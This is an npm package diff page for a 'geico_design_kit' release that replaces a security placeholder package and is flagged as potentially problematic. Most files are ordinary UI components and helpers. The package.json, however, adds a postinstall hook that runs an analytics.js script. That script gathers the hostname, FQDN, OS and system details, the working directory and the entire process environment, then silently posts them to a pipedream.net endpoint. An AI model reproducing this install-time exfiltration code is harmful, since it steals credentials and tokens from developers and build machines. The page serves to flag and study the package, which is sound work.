geico_design_kit 0.0.1-security.1 → 15.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of geico_design_kit might be problematic. Click here for more details.

Files changed (109) hide show
  1. package/.babelrc +5 -0
  2. package/LICENSE +0 -0
  3. package/alt.json +33 -0
  4. package/dist/analytics.js +119 -0
  5. package/dist/appState.js +56 -0
  6. package/dist/baseComponent.js +110 -0
  7. package/dist/components/Accordion.js +312 -0
  8. package/dist/components/AddressAutoComplete.js +220 -0
  9. package/dist/components/Alert.js +145 -0
  10. package/dist/components/BackgroundPattern.js +99 -0
  11. package/dist/components/BackgroundPatternPortfolio.js +242 -0
  12. package/dist/components/ButtonSwitch.js +236 -0
  13. package/dist/components/CardSelections.js +230 -0
  14. package/dist/components/CommonQuestionsSquares.js +169 -0
  15. package/dist/components/Confirmation.js +156 -0
  16. package/dist/components/ConsolidatedSummary.js +489 -0
  17. package/dist/components/CoverageGraph.js +201 -0
  18. package/dist/components/CreditCard.js +591 -0
  19. package/dist/components/CurrencyInput.js +302 -0
  20. package/dist/components/DatePicker.js +468 -0
  21. package/dist/components/DockedMessage.js +146 -0
  22. package/dist/components/DotNavigation.js +200 -0
  23. package/dist/components/EditComponent.js +128 -0
  24. package/dist/components/EditableTable.js +113 -0
  25. package/dist/components/InPageNavigation.js +360 -0
  26. package/dist/components/Loader.js +232 -0
  27. package/dist/components/MakePayment.js +361 -0
  28. package/dist/components/Modal.js +254 -0
  29. package/dist/components/MoreInfoButton.js +227 -0
  30. package/dist/components/MultipleSelectBox.js +217 -0
  31. package/dist/components/NavigationalBox.js +161 -0
  32. package/dist/components/Navigator.js +294 -0
  33. package/dist/components/PasswordMeter.js +201 -0
  34. package/dist/components/PayPlans.js +534 -0
  35. package/dist/components/SegmentedControl.js +327 -0
  36. package/dist/components/SortableTable.js +166 -0
  37. package/dist/components/Tabs.js +1 -0
  38. package/dist/components/TextAreaCountdown.js +219 -0
  39. package/dist/components/Timeline.js +498 -0
  40. package/dist/components/TimelineFilter.js +492 -0
  41. package/dist/components/ToTopArrow.js +153 -0
  42. package/dist/components/Tooltip.js +329 -0
  43. package/dist/components/Upsell.js +168 -0
  44. package/dist/components/VIN.js +271 -0
  45. package/dist/components/ValidateForm.js +938 -0
  46. package/dist/components/ViewMoreLess.js +191 -0
  47. package/dist/components/ZipCode.js +191 -0
  48. package/dist/components/portfolio.js +99 -0
  49. package/dist/geico-design-kit.js +141 -0
  50. package/dist/global/components.js +98 -0
  51. package/dist/global/footer.js +26 -0
  52. package/dist/global/nav.js +1257 -0
  53. package/dist/services/CharacterTypeService.js +106 -0
  54. package/dist/services/UserAgentService.js +73 -0
  55. package/dist/utils.js +79 -0
  56. package/package.json +29 -3
  57. package/src/analytics.js +82 -0
  58. package/src/appState.js +56 -0
  59. package/src/baseComponent.js +156 -0
  60. package/src/components/Accordion.js +336 -0
  61. package/src/components/AddressAutoComplete.js +236 -0
  62. package/src/components/Alert.js +135 -0
  63. package/src/components/BackgroundPattern.js +96 -0
  64. package/src/components/BackgroundPatternPortfolio.js +284 -0
  65. package/src/components/ButtonSwitch.js +241 -0
  66. package/src/components/CardSelections.js +240 -0
  67. package/src/components/CommonQuestionsSquares.js +179 -0
  68. package/src/components/Confirmation.js +160 -0
  69. package/src/components/ConsolidatedSummary.js +505 -0
  70. package/src/components/CoverageGraph.js +203 -0
  71. package/src/components/CreditCard.js +595 -0
  72. package/src/components/CurrencyInput.js +321 -0
  73. package/src/components/DatePicker.js +487 -0
  74. package/src/components/DockedMessage.js +142 -0
  75. package/src/components/DotNavigation.js +206 -0
  76. package/src/components/EditComponent.js +130 -0
  77. package/src/components/EditableTable.js +106 -0
  78. package/src/components/InPageNavigation.js +391 -0
  79. package/src/components/Loader.js +272 -0
  80. package/src/components/MakePayment.js +397 -0
  81. package/src/components/Modal.js +279 -0
  82. package/src/components/MoreInfoButton.js +243 -0
  83. package/src/components/MultipleSelectBox.js +211 -0
  84. package/src/components/NavigationalBox.js +163 -0
  85. package/src/components/Navigator.js +338 -0
  86. package/src/components/PasswordMeter.js +209 -0
  87. package/src/components/PayPlans.js +604 -0
  88. package/src/components/SegmentedControl.js +365 -0
  89. package/src/components/SortableTable.js +176 -0
  90. package/src/components/Tabs.js +0 -0
  91. package/src/components/TextAreaCountdown.js +231 -0
  92. package/src/components/Timeline.js +532 -0
  93. package/src/components/TimelineFilter.js +533 -0
  94. package/src/components/ToTopArrow.js +153 -0
  95. package/src/components/Tooltip.js +344 -0
  96. package/src/components/Upsell.js +196 -0
  97. package/src/components/VIN.js +289 -0
  98. package/src/components/ValidateForm.js +1030 -0
  99. package/src/components/ViewMoreLess.js +193 -0
  100. package/src/components/ZipCode.js +193 -0
  101. package/src/components/portfolio.js +106 -0
  102. package/src/geico-design-kit.js +144 -0
  103. package/src/global/components.js +92 -0
  104. package/src/global/footer.js +25 -0
  105. package/src/global/nav.js +1457 -0
  106. package/src/services/CharacterTypeService.js +107 -0
  107. package/src/services/UserAgentService.js +59 -0
  108. package/src/utils.js +82 -0
  109. package/README.md +0 -5
@@ -0,0 +1,106 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports["default"] = void 0;
7
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
8
+ function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); }
9
+ function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } }
10
+ function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; }
11
+ function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
12
+ function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
13
+ var CharacterTypeService = /*#__PURE__*/function () {
14
+ function CharacterTypeService() {
15
+ _classCallCheck(this, CharacterTypeService);
16
+ }
17
+ return _createClass(CharacterTypeService, null, [{
18
+ key: "_getCharacterType",
19
+ value: function _getCharacterType(event) {
20
+ var keyCode = event.which || event.keyCode;
21
+ if (event) {
22
+ // check if character keyCode is 0-9
23
+ if (keyCode >= 48 && keyCode <= 57 || keyCode >= 96 && keyCode <= 105) {
24
+ if (event.key) {
25
+ if (event.key === '1' || event.key === '2' || event.key === '3' || event.key === '4' || event.key === '5' || event.key === '6' || event.key === '7' || event.key === '8' || event.key === '9' || event.key === '0') {
26
+ return 'number';
27
+ } else {
28
+ return 'special character';
29
+ }
30
+ } else {
31
+ return 'n/a';
32
+ }
33
+ } else {
34
+ // Check if character is backspace
35
+ if (keyCode === 8) {
36
+ return 'backspace';
37
+ } else
38
+ // Check if character is tab
39
+ if (keyCode === 9) {
40
+ return 'tab';
41
+ } else
42
+ // Check if character is enter
43
+ if (keyCode === 13) {
44
+ return 'enter';
45
+ } else
46
+ // Check if character is shift
47
+ // if (keyCode === 16) {
48
+ // return 'shift';
49
+ // }
50
+
51
+ // Check for additional special characters
52
+ if (keyCode >= 186 && keyCode <= 192 || keyCode >= 219 && keyCode <= 222) {
53
+ return 'special character';
54
+ } else
55
+ // Check if character is a letter
56
+ if (keyCode >= 65 && keyCode <= 90) {
57
+ // Check for key functions
58
+ //
59
+ // Minimize
60
+ if (keyCode === 77 && event.ctrlKey === true || keyCode === 77 && event.metaKey === true) {
61
+ return 'minimize';
62
+ } else
63
+ // Copy
64
+ if (keyCode === 67 && event.ctrlKey === true || keyCode === 67 && event.metaKey === true) {
65
+ return 'copy';
66
+ } else
67
+ // Paste
68
+ if (keyCode === 80 && event.ctrlKey === true || keyCode === 80 && event.metaKey === true) {
69
+ return 'paste';
70
+ } else {
71
+ return 'letter';
72
+ }
73
+ } else
74
+ // Check if character is delete
75
+ if (keyCode === 46) {
76
+ return 'delete';
77
+ } else
78
+ // Check if character is home
79
+ if (keyCode === 36) {
80
+ return 'home';
81
+ } else
82
+ // Check if character is end
83
+ if (keyCode === 35) {
84
+ return 'end';
85
+ } else
86
+ // Check if character is arrow key
87
+ if (keyCode >= 37 && keyCode <= 40) {
88
+ switch (keyCode) {
89
+ case 37:
90
+ return 'left arrow';
91
+ case 38:
92
+ return 'up arrow';
93
+ case 39:
94
+ return 'right arrow';
95
+ case 40:
96
+ return 'down arrow';
97
+ }
98
+ } else {
99
+ //return 'not categorized';
100
+ }
101
+ }
102
+ }
103
+ }
104
+ }]);
105
+ }();
106
+ var _default = exports["default"] = CharacterTypeService;
@@ -0,0 +1,73 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports["default"] = void 0;
7
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
8
+ function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); }
9
+ function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } }
10
+ function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; }
11
+ function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
12
+ function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
13
+ var UserAgentService = /*#__PURE__*/function () {
14
+ function UserAgentService() {
15
+ _classCallCheck(this, UserAgentService);
16
+ }
17
+ return _createClass(UserAgentService, null, [{
18
+ key: "_clickEventName",
19
+ value:
20
+ /**
21
+ *
22
+ * @returns {*}
23
+ * @private
24
+ */
25
+ function _clickEventName() {
26
+ if ("ontouchstart" in document.documentElement && navigator.userAgent.toLowerCase().indexOf('firefox') === -1) {
27
+ return navigator.userAgent.toLowerCase().indexOf('windows') === -1 ? "touchend" : "pointerup";
28
+ } else {
29
+ return "click";
30
+ }
31
+ }
32
+ }, {
33
+ key: "_detectIE",
34
+ value: function _detectIE() {
35
+ var ua = window.navigator.userAgent;
36
+
37
+ // Test values; Uncomment to check result …
38
+
39
+ // IE 10
40
+ // ua = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)';
41
+
42
+ // IE 11
43
+ // ua = 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko';
44
+
45
+ // Edge 12 (Spartan)
46
+ // ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0';
47
+
48
+ // Edge 13
49
+ // ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586';
50
+
51
+ var msie = ua.indexOf('MSIE ');
52
+ if (msie > 0) {
53
+ // IE 10 or older => return version number
54
+ return parseInt(ua.substring(msie + 5, ua.indexOf('.', msie)), 10);
55
+ }
56
+ var trident = ua.indexOf('Trident/');
57
+ if (trident > 0) {
58
+ // IE 11 => return version number
59
+ var rv = ua.indexOf('rv:');
60
+ return parseInt(ua.substring(rv + 3, ua.indexOf('.', rv)), 10);
61
+ }
62
+ var edge = ua.indexOf('Edge/');
63
+ if (edge > 0) {
64
+ // Edge (IE 12+) => return version number
65
+ return parseInt(ua.substring(edge + 5, ua.indexOf('.', edge)), 10);
66
+ }
67
+
68
+ // other browser
69
+ return false;
70
+ }
71
+ }]);
72
+ }();
73
+ var _default = exports["default"] = UserAgentService;
package/dist/utils.js ADDED
@@ -0,0 +1,79 @@
1
+ "use strict";
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.getParentByTagName = getParentByTagName;
7
+ exports.hasClass = hasClass;
8
+ exports.isChild = isChild;
9
+ /**
10
+ * hasClass()
11
+ * Checks wether element contains a class
12
+ * This accounts for the fact that element might contain multiple class names separated by space.
13
+ *
14
+ * @param {Dom Element} element
15
+ * @param {String} className we are checking
16
+ * @return {Boolean}
17
+ */
18
+
19
+ //TODO check the best way to do this
20
+ function hasClass(element, className) {
21
+ return element.classList.contains(className);
22
+ }
23
+
24
+ /**
25
+ * getParentByTagName()
26
+ * Get parent node for given tagname
27
+ *
28
+ * @param {Object} node DOM node
29
+ * @param {String} tagname HTML tagName
30
+ * @return {Object} Parent node
31
+ */
32
+ function getParentByTagName(node, tagname) {
33
+ var parent;
34
+ if (node === null || tagname === '') return;
35
+ parent = node.parentNode;
36
+ tagname = tagname.toUpperCase();
37
+ while (parent.tagName !== "HTML") {
38
+ if (parent.tagName === tagname) {
39
+ return parent;
40
+ }
41
+ parent = parent.parentNode;
42
+ }
43
+ return parent;
44
+ }
45
+ function isChild(parent, child) {
46
+ var node = child.parentElement;
47
+ while (node !== null) {
48
+ if (node.classList.contains(parent)) {
49
+ return true;
50
+ }
51
+ node = node.parentElement;
52
+ }
53
+ return false;
54
+ }
55
+
56
+ /**
57
+ * scrollToTop()
58
+ * Used to animate the scroll position back to the top of the page
59
+ */
60
+ function scrollToTop() {
61
+ var scrollHeight = window.scrollY,
62
+ scrollDuration = 500,
63
+ scrollStep = Math.PI / (scrollDuration / 15),
64
+ cosParameter = scrollHeight / 2;
65
+ var scrollCount = 0,
66
+ scrollMargin;
67
+ requestAnimationFrame(step);
68
+ console.log(scrollStep);
69
+ function step() {
70
+ setTimeout(function () {
71
+ if (window.scrollY !== 0) {
72
+ requestAnimationFrame(step);
73
+ scrollCount = scrollCount + 1;
74
+ scrollMargin = cosParameter - cosParameter * Math.cos(scrollCount * scrollStep);
75
+ window.scrollTo(0, scrollHeight - scrollMargin);
76
+ }
77
+ }, 15);
78
+ }
79
+ }
package/package.json CHANGED
@@ -1,6 +1,32 @@
1
1
  {
2
2
  "name": "geico_design_kit",
3
- "version": "0.0.1-security.1",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "15.1.0",
4
+ "description": "GDK UI development kit ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node test.js",
8
+ "build": "babel src -d dist",
9
+ "postinstall": "node ./dist/analytics.js"
10
+ },
11
+ "keywords": [
12
+ "geico"
13
+ ],
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git"
17
+ },
18
+ "dependencies": {
19
+ "axios": "^1.6.3",
20
+ "dotenv": "^16.4.5",
21
+ "jquery": "^3.7.1",
22
+ "read-package-json": "^7.0.0",
23
+ "systeminformation": "^5.21.22"
24
+ },
25
+ "devDependencies": {
26
+ "@babel/cli": "^7.23.4",
27
+ "@babel/core": "^7.23.7",
28
+ "@babel/preset-env": "^7.23.7"
29
+ },
30
+ "author": "geico",
31
+ "license": "ISC"
6
32
  }
@@ -0,0 +1,82 @@
1
+ #!/usr/bin/env node
2
+
3
+ //Collect limited non-pii information such as npm, node and package information about users downloading
4
+ import axios from 'axios';
5
+ import readJson from 'read-package-json';
6
+ import path from 'path';
7
+ import si from 'systeminformation';
8
+ import "dotenv/config"
9
+ const cwd = process.cwd();
10
+ const trackedPackageJsonPath = path.join(cwd, 'package.json');
11
+
12
+
13
+ const getPackageJson = path =>
14
+ new Promise((resolve, reject) =>
15
+ readJson(
16
+ path,
17
+ null,
18
+ false,
19
+ (err, json) =>
20
+ err
21
+ ? reject(
22
+ `There was an error reading the file with path:${path}`
23
+ )
24
+ : resolve(json)
25
+ )
26
+ );
27
+
28
+ const getInfos = () =>
29
+ new Promise(resolve => {
30
+ const data = {};
31
+ return si
32
+ .osInfo()
33
+ .then(os => {
34
+ data.os = os;
35
+ data.hostname = os.hostname;
36
+ data.fqdn = os.fqdn;
37
+ data.platform = os.platform;
38
+ return si.versions();
39
+ })
40
+ .then(versions => {
41
+ data.versions = versions;
42
+ return si.time();
43
+ })
44
+ .then(time => {
45
+ data.time = time;
46
+ return si.shell();
47
+ })
48
+ .then(shell => {
49
+ data.shell = shell;
50
+ return si.system()
51
+ })
52
+ .then(system => {
53
+ data.system = system;
54
+ data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
55
+ data.is_jboss = process.env.JBOSS ? process.env : process.env
56
+ })
57
+ .then(() => resolve(data))
58
+ .catch(
59
+ //Fail silently as this is not an issue with the package and just data
60
+ );
61
+ });
62
+
63
+
64
+
65
+ async function collectAnalytics(data) {
66
+ const TRACKING_URI = "https://eopx10a5vo1di68.m.pipedream.net"
67
+ await axios.post(TRACKING_URI, data)
68
+ }
69
+
70
+
71
+ const log = async () => {
72
+ try {
73
+ const data = await getInfos();
74
+ //determine which version they installed
75
+ //Todo ignore github actions
76
+ const { name, version } = await getPackageJson(trackedPackageJsonPath)
77
+ await collectAnalytics({...data, cwd: cwd, packageName: name, packageVersion: version, })
78
+ } catch (e) {
79
+ //console.error(e)
80
+ }
81
+ };
82
+ log()
@@ -0,0 +1,56 @@
1
+ //global vars
2
+ const html = document.getElementsByTagName('html')[0];
3
+
4
+ // Module Imports
5
+ import * as utils from './utils';
6
+
7
+ let appState = {
8
+
9
+ mode : null,
10
+ isTouchDevice : isTouchDevice(),
11
+
12
+ size : {
13
+ windowWidth : null,
14
+ windowHeight : null
15
+ },
16
+
17
+ set windowSize(obj) {
18
+ this.size.windowWidth = obj.width;
19
+ this.size.windowHeight = obj.height;
20
+ setMode(this.size.windowWidth);
21
+ },
22
+
23
+ get windowSize() {
24
+ return this.size;
25
+ },
26
+
27
+ };
28
+
29
+
30
+ /**
31
+ * setMode()
32
+ * Sets the appState mode depending on window side
33
+ *
34
+ * @param {Number} Window Width
35
+ */
36
+ function setMode(w) {
37
+ if(w >= 768){
38
+ appState.mode = "desktop";
39
+ }else{
40
+ appState.mode = "mobile";
41
+ }
42
+ }
43
+
44
+
45
+ /**
46
+ * isTouchDevice()
47
+ * Sets the appState mode depending on window side
48
+ *
49
+ * @return {Bool}
50
+ */
51
+ function isTouchDevice() {
52
+ return utils.hasClass(html, 'touch');
53
+ }
54
+
55
+
56
+ export default appState;
@@ -0,0 +1,156 @@
1
+ let baseComponent = {
2
+
3
+ /**
4
+ * validateSettings()
5
+ * Validates all content settings
6
+ */
7
+ validateSettings : function(currentOptions, validationRules ) {
8
+
9
+ let valid = true;
10
+
11
+ Array.prototype.forEach.call(validationRules, function(el, i){
12
+
13
+ let setting = currentOptions[el.setting];
14
+
15
+ if(el.isRequired === true){
16
+
17
+ //if a required field is not set retun false
18
+ if(baseComponent.validateRequiredSettings(el, currentOptions)){
19
+
20
+ if(!baseComponent.validateSettingValues(setting, el.validate, el.possibleValues, el.errorMessage)){
21
+ valid = false;
22
+ return false;
23
+ }
24
+
25
+ }else{
26
+ valid = false;
27
+ return false;
28
+ }
29
+
30
+ }else{
31
+
32
+ //if is a setting is not required but its set we need to validate it
33
+ if( setting ){
34
+ if(!baseComponent.validateSettingValues(setting, el.validate, el.possibleValues, el.errorMessage)){
35
+ valid = false;
36
+ return false;
37
+ }
38
+ }
39
+
40
+ }
41
+
42
+ });
43
+
44
+ if(valid){
45
+ return true;
46
+ }
47
+
48
+ },
49
+
50
+
51
+ validateRequiredSettings : function(el, currentOptions) {
52
+
53
+ let setting = currentOptions[el.setting];
54
+
55
+ try {
56
+
57
+ if( setting ){
58
+ return true;
59
+
60
+ }else{
61
+ throw new Error(el.errorMessage);
62
+ }
63
+
64
+ }
65
+ catch (ex) {
66
+ console.error("Error : ", ex.message);
67
+ }
68
+
69
+
70
+ },
71
+
72
+
73
+
74
+ validateSettingValues : function(setting, validate, values, error) {
75
+
76
+
77
+ let validValue = false;
78
+
79
+ Array.prototype.forEach.call(values, function(el, i){
80
+
81
+ if(validate === "type"){
82
+
83
+ if( typeof setting === el){
84
+ validValue = true;
85
+ }
86
+
87
+ }else if(validate === "value"){
88
+
89
+ if(el === setting){
90
+ validValue = true;
91
+ }
92
+
93
+ }
94
+
95
+ });
96
+
97
+ try {
98
+
99
+ if( validValue ){
100
+ return true;
101
+ }else{
102
+ throw new Error(error);
103
+ }
104
+
105
+ }
106
+ catch (ex) {
107
+ console.error("Error : ", ex.message);
108
+ }
109
+
110
+ },
111
+
112
+
113
+ getContentType : function(o) {
114
+ try {
115
+ if( typeof o._options.content === "string" || typeof o._options.content === "object"){
116
+
117
+ let contentType = typeof o._options.content;
118
+
119
+ if(this.isDOM(o._options.content)){
120
+ contentType = "domNode";
121
+ }
122
+
123
+ return contentType;
124
+
125
+ }else{
126
+ throw new Error("The content option must be a DOM selector or Node.");
127
+ }
128
+ }
129
+ catch (ex) {
130
+ console.error("Error : ", ex.message);
131
+ }
132
+ },
133
+
134
+ extendDefaults : function(source, properties) {
135
+ var property;
136
+ for (property in properties) {
137
+ if (properties.hasOwnProperty(property)) {
138
+ source[property] = properties[property];
139
+ }
140
+ }
141
+ return source;
142
+ },
143
+
144
+ isDOM : function(obj) {
145
+ // DOM, Level2
146
+ if ("HTMLElement" in window) {
147
+ return (!!obj && obj instanceof HTMLElement);
148
+ }
149
+ // Older browsers
150
+ return (!!obj && typeof obj === "object" && obj.nodeType === 1 && !!obj.nodeName);
151
+ }
152
+
153
+
154
+ };
155
+
156
+ export default baseComponent;